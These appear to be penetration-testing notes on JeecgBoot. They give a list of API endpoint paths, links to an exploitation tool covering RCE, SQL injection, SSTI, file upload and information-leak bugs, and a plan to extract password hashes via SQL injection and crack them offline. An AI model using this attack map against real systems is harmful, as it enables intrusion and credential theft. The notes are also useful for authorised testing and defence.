/jeecg-boot/sys/checkRule/delete
/jeecg-boot/sys/checkRule/deleteBatch
/jeecg-boot/sys/checkRule/edit
/jeecg-boot/sys/checkRule/list
/jeecg-boot/sys/checkRule/queryById
/jeecg-boot/sys/comment/add
/jeecg-boot/sys/comment/addFile
/jeecg-boot/sys/comment/addText
/jeecg-boot/sys/comment/delete
/jeecg-boot/sys/comment/deleteBatch
/jeecg-boot/sys/comment/deleteOne
/jeecg-boot/sys/comment/edit
/jeecg-boot/sys/comment/fileList
/jeecg-boot/sys/comment/list
/jeecg-boot/sys/comment/listByForm
/jeecg-boot/sys/comment/queryById
/jeecg-boot/sys/dataSource/add
/jeecg-boot/sys/dataSource/delete
/jeecg-boot/sys/dataSource/deleteBatch
/jeecg-boot/sys/dataSource/edit
/jeecg-boot/sys/dataSource/list
/jeecg-boot/sys/dataSource/queryById
/jeecg-boot/sys/dictItem/dictItemCheck
/jeecg-boot/sys/duplicate/check
/jeecg-boot/sys/files/add
/jeecg-boot/sys/files/delete
/jeecg-boot/sys/files/deleteBatch
/jeecg-boot/sys/files/edit
/jeecg-boot/sys/files/list
/jeecg-boot/sys/files/queryById
/jeecg-boot/sys/fillRule/add
/jeecg-boot/sys/fillRule/delete
/jeecg-boot/sys/fillRule/deleteBatch
/jeecg-boot/sys/fillRule/edit
/jeecg-boot/sys/fillRule/list
/jeecg-boot/sys/fillRule/queryById
/jeecg-boot/sys/formFile/add
/jeecg-boot/sys/formFile/delete
/jeecg-boot/sys/formFile/deleteBatch
/jeecg-boot/sys/formFile/edit
/jeecg-boot/sys/formFile/list
/jeecg-boot/sys/formFile/queryById
/jeecg-boot/sys/position/add
/jeecg-boot/sys/position/delete
/jeecg-boot/sys/position/deleteBatch
/jeecg-boot/sys/position/edit
/jeecg-boot/sys/position/list
/jeecg-boot/sys/position/queryByCode
/jeecg-boot/sys/position/queryById
/jeecg-boot/sys/quartzJob/pause
/jeecg-boot/sys/quartzJob/resume
/jeecg-boot/sys/randomImage/
/jeecg-boot/sys/sysDepartPermission/add
/jeecg-boot/sys/sysDepartPermission/delete
/jeecg-boot/sys/sysDepartPermission/deleteBatch
/jeecg-boot/sys/sysDepartPermission/edit
/jeecg-boot/sys/sysDepartPermission/list
/jeecg-boot/sys/sysDepartPermission/queryById
/jeecg-boot/sys/sysDepartRole/add
/jeecg-boot/sys/sysDepartRole/delete
/jeecg-boot/sys/sysDepartRole/deleteBatch
/jeecg-boot/sys/sysDepartRole/edit
/jeecg-boot/sys/sysDepartRole/list
/jeecg-boot/sys/sysDepartRole/queryById
/jeecg-boot/sys/sysRoleIndex/add
/jeecg-boot/sys/sysRoleIndex/delete
/jeecg-boot/sys/sysRoleIndex/deleteBatch
/jeecg-boot/sys/sysRoleIndex/edit
/jeecg-boot/sys/sysRoleIndex/list
/jeecg-boot/sys/sysRoleIndex/queryByCode
/jeecg-boot/sys/sysRoleIndex/queryById
/jeecg-boot/test/dynamic/test1
/jeecg-boot/test/jeecgDemo/add
/jeecg-boot/test/jeecgDemo/delete
/jeecg-boot/test/jeecgDemo/deleteBatch
/jeecg-boot/test/jeecgDemo/edit
/jeecg-boot/test/jeecgDemo/list
/jeecg-boot/test/jeecgDemo/queryById
/sys/user/delete
/jeecg-boot/sys/user/addSysUserRole
/sys/role/delete
/user/register

# 漏洞利用工具

https://github.com/Framework-vulnerability-tool/jeecg

工具介绍
jeecg综合漏洞利用工具,程序采用javafx开发,环境JDK 1.8 声明:仅用于授权测试,用户滥用造成的一切后果和作者无关 请遵守法律法规! 漏洞收录如下:
jeecg-boot queryFieldBySql远程命令执行漏洞
jeecg-boot testConnection远程命令执行漏洞
JeecgBoot jmreport/loadTableData SSTI模板注入漏洞
jeecg-boot-queryTableData-sqli注入漏洞
jeecg-boot-getDictItemsByTable-sqli注入漏洞
Jeecg-Boot qurestSql-SQL注入漏洞
jeecg-boot commonController 任意文件上传漏洞
jeecg-boot jmreport任意文件上传漏洞
jeecg-boot-querySysUser信息泄露漏洞
jeecg-boot-checkOnlyUser信息泄露漏洞
jeecg-boot-httptrace信息泄露漏洞
jeecg-boot-任意文件下载漏洞
jeecg-boot-jeecgFormDemoController漏洞
jeecg-boot-v2 P3 Biz Chat任意文件读取漏洞
jeecg-boot-v2 sys/duplicate/check注入漏洞
jeecg-boot-v2 AviatorScript表达式注入漏洞
https://github.com/ssrsec/JeecgBoot-offline-brute

有sqli的端点,但是无法rce以及进一步获得权限,我们可以尝试通过sqli获取凭据从而获得用户级权限

数据库中password字段是加密的,通过查看源码发现密码使用PBE进行加密,关键是用明文密码作为对称加密key的一个环节,所以没办法直接逆向解密,但是可以离线爆破。